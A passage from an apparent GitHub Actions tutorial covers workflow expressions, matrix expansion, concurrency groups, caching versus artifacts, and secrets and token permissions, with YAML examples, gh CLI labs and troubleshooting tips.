Problem: the platform team wants to adjust timeouts and whether E2E runs without changing the workflow. Fix: use organization-level variables: timeout-minutes: ${{ fromJSON(vars.E2E_TIMEOUT || '30') }},if: vars.E2E_ENABLED == 'true'. Limitation: variables are visible to everyone with read access, so never store secrets in them; values are always strings, so numbers need fromJSON.
Common errors and fixes
Invalid workflow file … Unrecognized named-value: 'secrets'. Located at position 1 within expression: secrets.TOKEN != ''
Cause: using secrets directly in jobs.<id>.if or if values; or using a context where it is not supported (for example, env in a job-level if).
Fix: map them to env first and check in a step-level if; consult the official Context availability table.
did not find expected key / found character that cannot start any token (if: !cancelled())
Cause: YAML treats a value starting with ! as a tag.
Fix:if: ${{ !cancelled() }} quote the value or wrap it in if: "!cancelled()".
The condition is clearly false, but the step still runs
Cause:${{ }} extra text outside the expression (a non-empty string is true); comparing the string 'false'.
Fix: put the whole expression inside one ${{ }} or omit it; use gh run rerun --debug to view the “Evaluating condition for step” log.
Error when evaluating 'strategy' for job 'test'. … Error reading JToken from JsonReader
Cause:fromJSON The input to fromJSON is not valid JSON (for example, the output contains extra newlines or single quotes).
Fix: use jq -c to generate compact JSON, then write it into $GITHUB_OUTPUT.
hashFiles('**/requirements.txt') returns an empty string, so the cache key becomes "Linux-pip-"
Cause: checkout has not run yet; the path pattern does not match; or the file is outside GITHUB_WORKSPACE .
Fix: make sure checkout runs first; use ls to confirm the path.
1. Write a step condition that runs only when pushing a tag starting with v , and no earlier step was cancelled.
if: ${{ !cancelled() && startsWith(github.ref, 'refs/tags/v') }}
# Note: this includes !cancelled(), so it also runs on failure; to run only on success, write success() && …2. Write all label names of the PR into the environment variable LABELS, separated by commas.
env:
LABELS: ${{ join(github.event.pull_request.labels.*.name, ',') }}The deploy job has needs: [test, lint] and if: github.ref == 'refs/heads/main' || inputs.force. When triggered manually with force=true and lint failed, did the deploy run? Why? If you want to “skip the gate when force is set”, how would you write it? What are the risks?
It did not run. There is no status function in the if, so the implicit success(), which requires all needs to succeed. To force it: if: ${{ !cancelled() && (needs.test.result == 'success' && needs.lint.result == 'success' || inputs.force) }}. Risk: bypassing the quality gate deploys unverified code; combine it with environment approval (Lesson 3) and allow only specific people to trigger it.
Verified instructional videos
No verified short video was found specifically on expressions and if pitfalls; use the official documentation and storyboard together.
Official documentation
- Evaluate expressions in workflows and actions
- Contexts reference
- Secure use reference (script injection)
Video storyboard (about 90 seconds)
This lesson cannot directly generate video or MP3 files. A storyboard and narration script are provided for a video tool.
Visual: in the YAML, a hand replaces ${{ github.ref }} with plain text refs/heads/main before it reaches the terminal.
Narration: expressions are replaced with text before the shell starts, so the shell never sees the double-brace syntax.
Visual: the if condition "${{ false }} && true" becomes a string, stamped with a big TRUE.
Narration: with a bit of extra text outside the expression, the whole condition becomes a non-empty string, which is always true.
Visual: a four-column table: success, failure, not cancelled, always. Checkmarks appear in the success, failure and cancelled rows.
Narration: once a status function is written, the default success check no longer applies. Upload reports with not-cancelled; send notifications with failure.
Visual: a malicious PR title is inserted into a run script, with a red alarm; after switching to an env variable, the title is printed as a plain string.
Narration: put untrusted input into an environment variable first, then hand it to the shell, and script injection is blocked.
Module 5 · matrix and concurrency
- Write a matrix and calculate its expansion accurately: Cartesian product → exclude → include (extending or adding combinations).
- Set
fail-fast,max-parallel, job-levelcontinue-on-erroras needed, and generate a dynamic matrix from upstream job outputs. - Use the
concurrencygroup to avoid duplicate runs and deployment conflicts, and understand the behavioral differences betweencancel-in-progressandqueue: max.
What: matrix strategy
strategy:
fail-fast: false # default true: if any job fails, cancel the other in-progress or queued matrix jobs
max-parallel: 4 # maximum number of jobs running at once (default: as many as possible)
matrix:
os: [ubuntu-24.04, windows-2025]
python: ["3.12", "3.13", "3.14"]
exclude:
- os: windows-2025
python: "3.12"
include:
- os: ubuntu-24.04 # extend an existing combination: add a variable to it
python: "3.13"
coverage: true
- os: ubuntu-24.04-arm # matches no combination → adds a new combination
python: "3.13"
Expansion rules (official algorithm)
- First compute the Cartesian product of all list variables: 2 × 3 = 6 combinations.
- Apply exclude: remove the matching combinations (partial matches allowed); 5 remain.
- Apply include: if an include item can be added to an original combination without overriding its original values, that combination is extended (several can be extended at once); otherwise it is appended as a new combination. Example: the first item adds
coverage: true; the second adds an arm combination, for 6 jobs in total. - A matrix in one workflow run generates at most 256 jobs.
Note: in YAML, 3.10 is parsed as the number 3.1, so always quote Python versions.
Why: fail-fast, max-parallel and continue-on-error
| setting | effect | use case |
|---|---|---|
fail-fast: true (default) | if any combination fails, cancel the other in-progress and queued combinations | saves minutes and gives quick feedback |
fail-fast: false | all combinations run to completion | want to see clearly which versions are broken, all at once |
job level continue-on-error: ${{ matrix.experimental }} | a failure in an experimental combination does not trigger fail-fast and does not fail the run | test Python pre-release versions |
max-parallel: 2 | limit the number running at once | tests hit shared external resources; limit concurrency cost |
dynamic matrix
matrix values can come from upstream job outputs: an upstream job generates JSON with a script (for example, listing changed service directories), and the downstream job uses matrix: ${{ fromJSON(needs.plan.outputs.matrix) }}. Generating an empty array causes an error, so add a guard such as if: needs.plan.outputs.matrix != '[]' in the downstream job.
How: concurrency groups
- Within the same
groupthere can be at most one running job or workflow run at a time. It can be set at the workflow's top level or at job level. - Default (
queue: single): at most one is pending; when a new run arrives, the one already pending is cancelled and replaced. cancel-in-progress: true: when a new run arrives, even the running ones are cancelled too (suits PR CI, where only the latest commit matters).queue: max(added in the 2026-05 Changelog): up to 100 runs can wait in the group queue; any excess are cancelled; cannot be used together withcancel-in-progress: trueat the same time (validation error). Suits scenarios where every run must execute but must run serially, such as sequential deployments. The official docs do not promise strict FIFO ordering; if key ordering matters, guarantee it separately.- Group names are case-insensitive; most contexts (except
secrets) can be used. Common pattern:${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}.
When: typical configurations
| Scenario | Configuration |
|---|---|
| PR CI, only the latest commit matters | group: ci-${{ github.event.pull_request.number || github.ref }} + cancel-in-progress: true |
| every commit on main must have a complete record | cancel-in-progress: ${{ github.event_name == 'pull_request' }} |
| deploy to the same environment; must not run in parallel | job level concurrency: { group: deploy-prod }, do not cancel an in-progress deployment; when every deployment must run, use queue: max |
queue: max). ③ “Writing group ${{ github.ref }} is enough”—on main, all pushes cancel each other; PRs and pushes may also share a group, so always include the workflow name and event to tell them apart. ④ “Cancelled runs do not count as failures”—a cancelled run's conclusion is cancelled; if it is a required check, the latest run reports again, but old commits show as cancelled.Matrix expansion process
concurrency timeline (cancel-in-progress comparison)
Interaction 1: matrix expansion calculator
Interaction 2: concurrency timeline
Common matrix patterns
jobs:
test:
name: test (${{ matrix.os }}, py${{ matrix.python }})
runs-on: ${{ matrix.os }}
continue-on-error: ${{ matrix.experimental || false }}
strategy:
fail-fast: false
matrix:
os: [ubuntu-24.04]
python: ["3.12", "3.13", "3.14"]
include:
- os: ubuntu-24.04
python: "3.15" # before the official release, use with allow-prereleases for pre-release versions
experimental: true
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with:
python-version: ${{ matrix.python }}
allow-prereleases: true
- run: python -VV
name sets the display name of the check on the PR page. When setting it as a required check, enter the expanded name (such as test (ubuntu-24.04, py3.13)), and update the ruleset whenever the matrix changes. A safer approach is to add a summary job (see the capstone lab). Python pre-release version numbers follow setup-python's versions manifest.
Dynamic matrix
jobs:
plan:
runs-on: ubuntu-24.04
outputs:
matrix: ${{ steps.m.outputs.matrix }}
steps:
- id: m
run: |
echo 'matrix={"python":["3.12","3.13","3.14"]}' >> "$GITHUB_OUTPUT"
test:
needs: plan
runs-on: ubuntu-24.04
strategy:
matrix: ${{ fromJSON(needs.plan.outputs.matrix) }}
steps:
- run: echo "testing ${{ matrix.python }}"
concurrency
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
deploy:
concurrency:
group: deploy-prod
queue: max # deploy every time and serially; cannot be used with cancel-in-progress: true
View cancelled runs
gh run list --workflow ci.yml --status cancelled --limit 5
gh run view RUN_ID --json conclusion,jobs -q '{conclusion, jobs: [.jobs[] | {name, conclusion}]}'
{"conclusion":"cancelled","jobs":[{"conclusion":"cancelled","name":"test (ubuntu-24.04, py3.12)"},…]}
A run cancelled by concurrency shows the annotation “Canceling since a higher priority waiting request for 'ci-7' exists”.
Lab 5: 3 Python versions × 2 operating systems + concurrency cancellation (about 6 minutes)
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
unit:
name: unit (${{ matrix.os }}, py${{ matrix.python }})
runs-on: ${{ matrix.os }}
timeout-minutes: 15
strategy:
fail-fast: false
matrix:
os: [ubuntu-24.04, windows-2025]
python: ["3.12", "3.13", "3.14"]
exclude:
- os: windows-2025
python: "3.12"
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "${{ matrix.python }}" }
- run: pip install -r requirements-dev.txt
- run: pytest -q
git commit -am "ci: python matrix + concurrency" && git push gh pr checks
* CI/unit (ubuntu-24.04, py3.12) (pull_request) * CI/unit (ubuntu-24.04, py3.13) (pull_request) * CI/unit (ubuntu-24.04, py3.14) (pull_request) * CI/unit (windows-2025, py3.13) (pull_request) * CI/unit (windows-2025, py3.14) (pull_request) …
5 combinations (6 − 1 exclude). Windows has no service containers, so the Redis tests are skipped; integration tests are still handled by the Linux test job from Module 3. gunicorn does not support Windows, but unit tests only import the Flask app, so they are unaffected.
git commit --allow-empty -m "ci: push 1" && git push git commit --allow-empty -m "ci: push 2" && git push sleep 15; gh run list --branch feat/hello --workflow ci.yml --limit 3
STATUS TITLE WORKFLOW BRANCH EVENT … * ci: push 2 CI feat/hello pull_request … X ci: push 1 CI feat/hello pull_request … ← cancelled
fail-fast to true, and add a test that fails only on Windows in tests:
cat > tests/test_platform.py <<'EOF'
import sys
def test_not_windows():
assert sys.platform != "win32", "demonstrate fail-fast"
EOF
git add -A && git commit -m "test: demo fail-fast" && git push
After the first Windows combination fails, the others are still running fail-fast: false.
Case 1: matrix explosion exhausts concurrency
Problem: a library's tests run 4 OSes × 6 Python versions × 3 dependency versions = 72 jobs; each PR fills the organization's concurrency quota, and other repositories queue for 20 minutes. Fix: PRs run only the “boundary combinations” (oldest / newest version plus the main OS, listed with include); the full matrix runs on pushes to main and in the nightly job; max-parallel throttle concurrency. Limitation: problems in intermediate combinations are detected later.
Case 2: concurrent deployments overwrite each other
Problem: two quick merges trigger two deployments; the deployment for the older commit finished after the newer one, rolling production back to the older version. Fix: set the deploy job to concurrency: { group: deploy-prod, cancel-in-progress: false }, and before deploying, check whether github.sha is still the latest commit on main; use queue: max when every version must be deployed. Limitation: queue: max queues up to 100 runs, and you should not rely on strict ordering.
Case 3: required check names change with the matrix
Problem: after removing Python 3.12, the ruleset still requires unit (ubuntu-24.04, py3.12), so every PR is stuck at “Expected”. Fix: Add a ci-ok summary job (needs all matrix jobs,if: always(), check needs.*.result), and set only it as the required check. Limitation: the summary job must handle skipped and cancelled results correctly, or it will falsely report success.
Common errors and fixes
Error when evaluating 'strategy' for job 'test'. Matrix vector 'python' does not contain any values
Cause: the dynamic matrix generated an empty array, or all combinations were excluded.
Fix: when the upstream output is empty, skip the downstream job with if ; check whether exclude is too broad.
The version '3.1' with architecture 'x64' was not found
Cause: an unquoted 3.10 is parsed as the number 3.1.
Fix: quote all version numbers: python: ["3.10", "3.13"].
Canceling since a higher priority waiting request for 'CI-refs/heads/main' exists
Cause: a concurrency group is too broad (for example, all pushes to main share one group with cancel-in-progress: true), or several workflows use the same group name.
Fix: add github.workflow to the group name; on main, set cancel-in-progress: false; use a separate group for deployments.
Invalid workflow file: queue: max cannot be used with cancel-in-progress: true
Fix: choose one: to keep only the latest, use cancel-in-progress; to run every time and serially, use queue: max.
The strategy configuration was canceled because "test.ubuntu-24-04_3_12" failed
Cause: fail-fast is enabled by default.
Fix: To get complete results, set fail-fast: false; use job-level continue-on-error for experimental combinations.
1. Write a concurrency configuration: PR runs cancel each other, pushes to main do not cancel, and different workflows do not affect each other.
concurrency:
group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}2. Use gh to list the titles and creation times of recently cancelled CI runs.
gh run list --workflow ci.yml --status cancelled --json displayTitle,createdAt -q '.[] | [.displayTitle,.createdAt] | @tsv'
matrix: os: [a, b],v: [1, 2],exclude: [{os: b, v: 1}],include: [{os: a, v: 2, extra: x}, {os: c, v: 3}]. How many jobs will be generated, and what are they?
Cartesian product: 4 combinations: a1, a2, b1, b2. exclude removes b1, leaving 3. The first include item extends a2 (adding extra: x), and the second matches no combination, so it adds c3. Total 4 jobs: a1, a2 (extra=x), b2, c3.
Verified instructional videos
No verified dedicated short video was found for matrix and concurrency; use the official documentation and storyboard together.
Official documentation
- Running variations of jobs in a workflow (matrix)
- Control the concurrency of workflows and jobs
- Changelog 2026-05-07: concurrency groups now allow larger queues
Video storyboard (about 90 seconds)
This lesson cannot directly generate video or MP3 files. A storyboard and narration script are provided for a video tool.
Visual: a two-row, three-column grid (OS × Python version) lights up cell by cell.
Narration: matrix first computes a Cartesian product, so one definition becomes many jobs.
Visual: one cell is crossed out (exclude), one cell gets a coverage label, and a new arm cell grows beside it (include).
Narration: subtract the excludes first, then use include to extend existing combinations or append new ones.
Visual: one cell turns red and the other cells go dark. After fail-fast is turned off, the other cells keep turning green.
Narration: fail-fast is on by default, so one failure cancels the rest. To see the full picture, turn it off.
Visual: three pushes enter the same lane one after another; old runs are crossed out, leaving only the newest.
Narration: the concurrency group lets outdated runs step aside automatically; when every run must execute but must run serially, use queue: max.
Module 6 · caching and artifacts
- Design
actions/cache'skeyandrestore-keys, explain exact hits, partial restores and misses, and understand branch scope and the 7-day eviction rule. - Prefer
setup-python(or similar) built-in caching of setup-* actions; know when a cache step must be written by hand. - Use
upload-artifactv7 /download-artifactv8 to pass files between jobs, and understand the v7 direct single-file upload (archive: false) and the v8 behavior changes, such as hash verification, no longer auto-extracting non-zip files, and retention settings.
What: cache vs artifact
| Cache | Artifact | |
|---|---|---|
| Purpose | reuse across runs files that rarely change to speed things up (pip downloads, node_modules, build intermediates) | save / pass outputs produced by this run (wheels, test reports, coverage, logs) |
| Action | actions/cache (or setup-*'s cache:) | actions/upload-artifact / download-artifact |
| identified by | key (exact) + restore-keys (prefix) | name (unique within a run) or artifact ID |
| mutability | immutable: the same key cannot be overwritten; if the content changes, change the key | since v4, the same name cannot be uploaded twice (unless overwrite: true, which deletes the old one and then uploads) |
| lifecycle | deleted after 7 days without access; beyond capacity, the least recently accessed entries are evicted | retained for 90 days by default; can be shortened with retention-days ; repositories and organizations can set defaults (public 1–90 days, private 1–400 days) |
| capacity | 10 GB per repository by default (excess can be expanded and billed) | counts toward the account's Actions storage usage (billed for private repositories) |
| visibility | available only to the workflow | downloadable from the run page, and across runs and workflows |
| reliability | “best effort”: do not assume a hit will happen | a successful upload can be relied on |
How: cache key matching and scope
- Restore phase (when a step runs): first look for an
keyexact match; if there is a hit,cache-hitoutput is'true'. - If there is no exact hit, try each of the
restore-keysin order as a prefix match, taking the matching cache created most recently (partial restore;cache-hitis not true). - Save phase (post step at the end of the job): if it was not an exact hit and the job succeeded, save a new cache with
key. - Scope: a run can only restore caches created on the current branch or the default branch; PR runs can also use the base branch's caches. Caches from sibling or child branches are not visible, so make main produce caches regularly for PRs to inherit.
- Version: a cache also carries a version stamp computed by
pathand the compression tool; even with the same key, a different path will not hit.
Since 2026, for events that can be triggered without write permission (such as pull_request_target), GitHub by default grants only read-only cache tokens to prevent cache poisoning, and adds workflow / job-level cache-mode (read / write / write-only / none) for least-privilege control (2026-09-10 Changelog). Runs from fork PRs can usually restore caches but cannot save them. Check the official documentation for the exact syntax.
Built-in caching in setup-*
actions/setup-python for example cache: pip (or pipenv,poetry) automatically generates keys from the runner OS, Python version and dependency file hash; what is cached is pip's download cache directory, rather than the virtual environment or site-packages. Dependencies are still “installed”, they just are not downloaded from the network again. When the dependency file is not in the default location, specify it with cache-dependency-path (such as requirements*.txt).
Why: artifact behavior changes (be sure to check your version)
| version | change | impact on you |
|---|---|---|
| upload/download v4 | New backend: artifacts can be downloaded immediately after upload within the same run; the same name cannot be uploaded twice; up to 500 artifacts per job | each combination in a matrix must use a different name (such as report-${{ matrix.python }}) |
| upload v4.4+ | hidden files are not uploaded by default (include-hidden-files: false) | .coverage and similar dotfiles need explicit opt-in. |
| download v5 | downloading a single artifact by ID extracts it directly into path/, no longer nested path/<name>/ | downloading by name is unchanged |
| upload v6 / download v7 | runs on Node.js 24 by default; self-hosted runners need ≥ 2.327.1 | upgrade self-hosted runners first |
| upload v7 | new archive: false: upload a single file without zipping; in this mode name is ignored, the artifact name is the file name, and matching multiple files fails | uploading a single HTML report or binary lets it be viewed directly in the browser |
| download v8 | On a hash mismatch, the download by default fails (digest-mismatch: error); check Content-Type first,non-zip artifacts are no longer extracted; added skip-decompress zip files are kept as they are | scripts that assume “the download is always an extracted directory” must be checked |
When: which to use
- pip / npm / Maven dependency downloads → setup-* built-in caching; Docker layers → buildx
type=ghacache (Lesson 5). - a build job produces a wheel for the test / deploy jobs → artifact.
- test reports and coverage for humans to read → artifact (
if: ${{ !cancelled() }}upload; still available when the job fails). - Do not use caches to pass build outputs (they can be evicted, and other branches can read them),Do not put secrets into caches or artifacts (artifacts can be downloaded by anyone with read access; in a public repository, that means everyone).
${{ runner.os }}-pip is enough”—if dependencies change, it still exactly hits the old cache and is never updated; the key must include the hash of the dependency file. ② “A cache generated in a PR can be used on main”—it is the other way around. ③ “A cache hit means you can skip installation”—setup-python caches the download directory, and the install step still runs. ④ “Artifacts are kept forever”—by default they are kept for 90 days and count toward the storage quota.Timing diagram of cache restore and save
artifacts flow between jobs
Interactive simulator: which cache will this run hit?
On the left are the caches already in the repository (with their creation branch and time). Set the current run's branch and whether requirements changed, then click “Restore”. The simulator applies the rules “exact key → restore-keys prefix (newest) → scope filtering” to give the result, then simulates whether the post step saves.
Full actions/cache syntax
- uses: actions/cache@v6
id: pipcache
with:
path: ~/.cache/pip
key: ${{ runner.os }}-py${{ matrix.python }}-pip-${{ hashFiles('**/requirements*.txt') }}
restore-keys: |
${{ runner.os }}-py${{ matrix.python }}-pip-
- run: echo "cache-hit=${{ steps.pipcache.outputs.cache-hit }}"
Split form: actions/cache/restore@v6 and actions/cache/save@v6 can be placed separately anywhere (for example, save even when the job fails). lookup-only: true only checks whether it exists, without downloading.
setup-python built-in caching (recommended)
- uses: actions/setup-python@v7
id: py
with:
python-version: "3.13"
cache: pip
cache-dependency-path: requirements*.txt
- run: echo "cache-hit=${{ steps.py.outputs.cache-hit }}"
Uploading and downloading artifacts
- uses: actions/upload-artifact@v7
if: ${{ !cancelled() }}
with:
name: pytest-report-${{ matrix.python }}
path: |
report.xml
htmlcov/
retention-days: 7
if-no-files-found: error # default is warn
include-hidden-files: false # hidden files are not included by default
# v7 new capability: direct single-file upload (not zipped; name is ignored)
- uses: actions/upload-artifact@v7
with:
path: dist/myapp-report.html
archive: false
# download (within the same run)
- uses: actions/download-artifact@v8
with:
pattern: pytest-report-*
path: reports/
merge-multiple: true
gh CLI and API
| Command | Purpose |
|---|---|
gh cache list --sort last_accessed_at | list caches (key, size, last access time) |
gh cache delete KEY / gh cache delete --all | delete a cache (force a rebuild) |
gh run download RUN_ID -n wheel -D ./dist | download the artifacts of a run |
gh api repos/{owner}/{repo}/actions/artifacts -q '.artifacts[] | {name, size_in_bytes, expires_at}' | view artifacts and their expiry |
gh api repos/{owner}/{repo}/actions/cache/usage | view total cache usage |
gh cache list --limit 5
Showing 3 of 3 caches in your-name/myapp ID KEY SIZE CREATED ACCESSED 5123456789 setup-python-Linux-x64-24.04-Ubuntu-python-3.13.9-pip-… 18.2 MiB about 1 hour … about 3 min… 5123456700 setup-python-Linux-x64-24.04-Ubuntu-python-3.14.0-pip-… 18.4 MiB about 1 hour … about 1 hour…
Lab 6: pip cache hit + uploading wheels and test reports (about 7 minutes)
- uses: actions/setup-python@v7
with:
python-version: "3.13"
cache: pip
cache-dependency-path: requirements*.txt
- run: pip install -r requirements-dev.txt
- run: pytest -v --junitxml=report.xml
- uses: actions/upload-artifact@v7
if: ${{ !cancelled() }}
with:
name: pytest-report
path: report.xml
retention-days: 7cat >> pyproject.toml <<'EOF' [build-system] requires = ["setuptools>=69"] build-backend = "setuptools.build_meta" [project] name = "myapp" version = "0.1.0" requires-python = ">=3.12" dependencies = ["flask==3.1.*", "redis==5.*", "gunicorn==23.*"] [tool.setuptools] py-modules = ["app"] EOF
build-wheel:
needs: test
runs-on: ubuntu-24.04
timeout-minutes: 10
steps:
- uses: actions/checkout@v7
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- run: pip install build && python -m build --wheel
- uses: actions/upload-artifact@v7
with:
name: wheel
path: dist/*.whl
if-no-files-found: error
retention-days: 7
smoke-wheel:
needs: build-wheel
runs-on: ubuntu-24.04
steps:
- uses: actions/setup-python@v7
with: { python-version: "3.13" }
- uses: actions/download-artifact@v8
with: { name: wheel, path: dist }
- run: |
ls -l dist
pip install dist/*.whl
python -c "import app; print(app.app.name)"
git add -A && git commit -m "ci: pip cache, report and wheel artifacts" && git push gh pr checks --watch
Cache not found for keys: setup-python-Linux-…, and the post step Cache saved with the key: …. Then push an empty commit:
git commit --allow-empty -m "ci: cache run 2" && git push sleep 60; gh run view "$(gh run list --branch feat/hello --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId')" --log | grep -iE "cache restored|cache hit|Cache saved|not found" | head
test … Cache restored successfully test … Cache restored from key: setup-python-Linux-x64-24.04-Ubuntu-python-3.13.9-pip-5f0c… test … Cache hit occurred on the primary key …, not saving cache.
This cache belongs to feat/hello branch scope (and the PR's merge ref). After merging to main, runs on main generate the default-branch cache, and all new branches can use it afterwards.
RUN_ID=$(gh run list --branch feat/hello --workflow ci.yml --limit 1 --json databaseId -q '.[0].databaseId')
gh run download "$RUN_ID" -n wheel -D /tmp/wheel && ls /tmp/wheel
gh api repos/{owner}/{repo}/actions/runs/$RUN_ID/artifacts -q '.artifacts[] | [.name, .size_in_bytes, .expires_at] | @tsv'
myapp-0.1.0-py3-none-any.whl pytest-report 1201 2026-11-22T15:10:03Z wheel 3105 2026-11-22T15:10:40Z
expires_at exactly 7 days later.
gh cache delete --all again to experience the time difference of a “cold cache”.Case 1: a cache key without the hash causes a “ghost dependency”
Problem: the key was written as Linux-pip. After a package was removed from requirements, CI still passed (the old cache or virtual environment still had it). After merging, production startup reported ImportError. Fix: add hashFiles('**/requirements*.txt') to the key; do not cache the whole virtual environment, or include the Python patch version in the key; the nightly job runs gh cache delete --all cold-start verification afterward. Limitation: runs with a cold cache are slower.
Case 2: matrix uploads of same-name artifacts fail
Problem: after upgrading from upload-artifact v3, all 3 jobs in the matrix uploaded name: report, and starting with the second one they reported 409 Conflict. Fix: add matrix variables to the name; downstream, use pattern: report-* + merge-multiple: true to merge the downloads. Limitation: when merging downloads, files with the same name overwrite each other, so also differentiate the file names.
Case 3: artifact storage costs spiral out of control
Problem: a private repository uploaded an 800 MB debug package on every run; with the default 90-day retention, the storage bill kept growing. Fix: upload debug packages only on failure (if: failure()),retention-days: 3; set a default retention period at the organization level; periodically delete old artifacts via the API. Limitation: after shortening retention, post-mortem downloads must happen promptly.
Common errors and fixes
Cache not found for input keys: Linux-py3.13-pip-… (misses every time)
Cause: the key contains values that change every time (github.sha, timestamps); files matched by hashFiles change every time; the cache was created on a sibling branch; the job failed so it was never saved; a different path caused a version mismatch; or it passed 7 days and was evicted.
gh cache list --key Linux-py3.13 --limit 10 gh run view RUN_ID --log | grep -i "cache"
Fix: include only dependency-related inputs in the key; make sure the default branch generates the cache first; when needed, split restore and save, and save even on failure.
Failed to save: Unable to reserve cache with key …, another job may be creating this cache.
Cause: several jobs in the matrix saved with the same key concurrently; the key already exists (caches are immutable).
Fix: add matrix variables to the key. This is a warning and does not affect the job result.
Unable to download artifact(s): Artifact not found for name: wheel
Cause: the upload job is not in needs (the upload has not finished); the names do not match; cross-run downloads did not provide run-id and github-token; or the artifact has expired.
Fix: in the downstream job, needs: build-wheel; check the name; for cross-run downloads, provide with: { run-id: …, github-token: ${{ secrets.GITHUB_TOKEN }} } and grant actions: read.
Failed to CreateArtifact: Received non-retryable error: Failed request: (409) Conflict: an artifact with this name already exists on the workflow run
Fix: use a unique name per job, or overwrite: true.
Warning: No files were found with the provided path: .coverage. No artifacts will be uploaded.
Cause: hidden files are excluded by default; the path is relative to GITHUB_WORKSPACE while working-directory differs.
Fix:include-hidden-files: true; use the full relative path; set if-no-files-found: error so the problem surfaces early.
download-artifact@v8: Digest mismatch / downloaded a .zip instead of a directory
Cause: since v8, a hash mismatch fails by default; skip-decompress: true was set; or the artifact is a single file uploaded by v7 archive: false (it is not extracted).
Fix: re-upload to exclude corruption; check whether scripts assume “download always gives a directory”.
1. Delete all caches whose keys start with setup-python-Linux .
gh cache list --key setup-python-Linux --limit 100 --json key -q '.[].key' | xargs -I{} gh cache delete "{}"2. Download all artifacts whose names start with pytest-report- from a run into reports/.
gh run download RUN_ID -p 'pytest-report-*' -D reports
The team wants to “speed things up” by putting the dist/ generated by the build job into the cache so the deploy job restores it from there. How would you review this?
Should not do this: caches are best-effort (they can be evicted or never saved), a key collision may restore artifacts from another commit, and caches can be read by other branches within the scope rules, which creates poisoning risk. Build outputs should use artifacts (with digest verification, bound to this run); the deploy job should fetch them with needs + download-artifact. Production releases should also add supply chain attestations (Lesson 5).
Verified instructional videos
No verified dedicated video was found for caching and artifacts (especially the new upload v7 / download v8 behavior); refer to the official documentation and Releases.
Official documentation
- Dependency caching reference
- Store and share data with workflow artifacts
- upload-artifact releases · download-artifact releases
- Changelog 2026-09-10: cache-mode
Video storyboard (about 90 seconds)
This lesson cannot directly generate video or MP3 files. A storyboard and narration script are provided for a video tool.
Visual: on the left, a locker labeled “acceleration material” (cache); on the right, a parcel labeled “result” (artifact).
Narration: a cache is something that may be useful next time; an artifact is the result of this run. The two must not be mixed.
Visual: a key first tries the exact lock; if it does not open, it tries locks with the same prefix and picks the newest one.
Narration: first match the key exactly, then use restore-keys prefixes to find the newest cache.
Visual: a branch tree. main's locker is open to all branches; there are walls between sibling branches.
Narration: caches are scoped to branches. Let main generate caches first, and new branches can inherit them.
Visual: the parcel gets a hash seal; on delivery, if the seal does not match, it is refused. A single HTML file is shipped without a box.
Narration: download v8 verifies the hash, and upload v7 can upload a single file without packaging it.
Module 7 · secrets, variables and GITHUB_TOKEN permissions
- Distinguish the three levels of secrets and variables (repository / environment / organization), and know the precedence when names collide and the access policies.
- Use
permissions:to declare least-privilege permissions at workflow and job level, and understand the rule that “once you write any permission, the others become none”, plus the repository default token permission setting. - Explain why secrets are unavailable and tokens are read-only in fork PRs; use masking and
::add-mask::correctly, and know the limits of masking.
What: secrets and variables
| secrets | variables | |
|---|---|---|
| Purpose | passwords, API keys, private keys, etc. secret | non-secret configuration: region, default version, feature switches |
| Read | ${{ secrets.NAME }} | ${{ vars.NAME }} |
| Storage | encrypted on the client with a libsodium sealed box before upload; once written, it cannot be viewed in the UI | plaintext; anyone with read permission can see it |
| logs | automatically masked as *** | shown normally |
| Levels and precedence | organization (can be limited to all / private / selected repositories) → repository → environment; when names collide,environment > repository > organization (the most specific one wins) | |
| Size | max 48 KB per item (for larger content, encrypt a file and store its decryption passphrase as a secret) | max 48 KB per item |
| Naming | letters, digits and underscores; must not start with GITHUB_ ; case-insensitive | |
Environment-level secrets are only released when the job declares environment: production and passes protection rules (approvals, branch restrictions). This is the recommended place for deployment credentials (Lesson 3). If you can use OIDC for cloud credentials (Azure / AWS), do not store long-lived keys (Lessons 3 and 4).
GITHUB_TOKEN: the token each job gets automatically
- At the start of each job, Actions issues a GitHub App installation token, scoped to only the current repository, which expires when the job ends or after 24 hours at most.
- Sources of permissions (applied in order, each tightening the previous): ① the repository / organization / enterprise default token permissions setting (Settings → Actions → General → Workflow permissions: “Read and write permissions” or “Read repository contents and packages permissions”); ② workflow-level
permissions:; ③ job-levelpermissions:(overrides the workflow level); ④ event restrictions (fork PRs are read-only at most). - Rule: as soon as you write any permission, all unwritten ones become
none(metadata is always readable).permissions: {}turns all of them off;read-all/write-allis shorthand. - Since 2023, newly created enterprise / organization / personal repositories default to read-only tokens. Older repositories may still be read-write, so it is recommended to change them manually to read-only and elevate permissions in the workflow as needed.
- On the same settings page, “Allow GitHub Actions to create and approve pull requests” is off by default; tick it only when a bot needs to open PRs.
Common permission scopes
| scope | read can | write can |
|---|---|---|
contents | checkout, read releases | push commits / tags, create releases |
pull-requests | read PRs | comment, label, request review |
issues | read issues | create / comment on / close issues |
packages | pull private images from GHCR | push images to GHCR |
actions | read runs, download artifacts across runs | cancel / re-run runs, delete caches |
checks / statuses | read checks | create check runs / commit statuses |
id-token | — | (write / none only) request OIDC tokens; required for cloud login |
security-events | read code scanning alerts | upload SARIF |
| other | attestations,artifact-metadata,deployments,discussions,pages,code-quality,copilot-requests,vulnerability-alerts (refer to the list on docs.github.com) | |
Why: why fork PRs cannot get secrets
A fork PR's pull_request run executes code and workflow files written by an external author. If secrets were released to it, anyone could open a PR to print or exfiltrate them. So GitHub does not pass secrets to fork runs except GITHUB_TOKEN, and that token is read-only at most; runs from first-time contributors on public repositories may also need maintainer approval. Runs triggered by Dependabot likewise can only use Dependabot secrets, with a read-only token.
How: masking
- the runner replaces secret values in logs with
***;::add-mask::VALUEyou can also add runtime-generated values (such as temporary tokens) to the mask. - Limitation: only exactly matching strings are masked. Values that are base64-encoded, URL-encoded, truncated, or structured as JSON are not masked; do not store a multi-line JSON as a single secret and then print its fields.
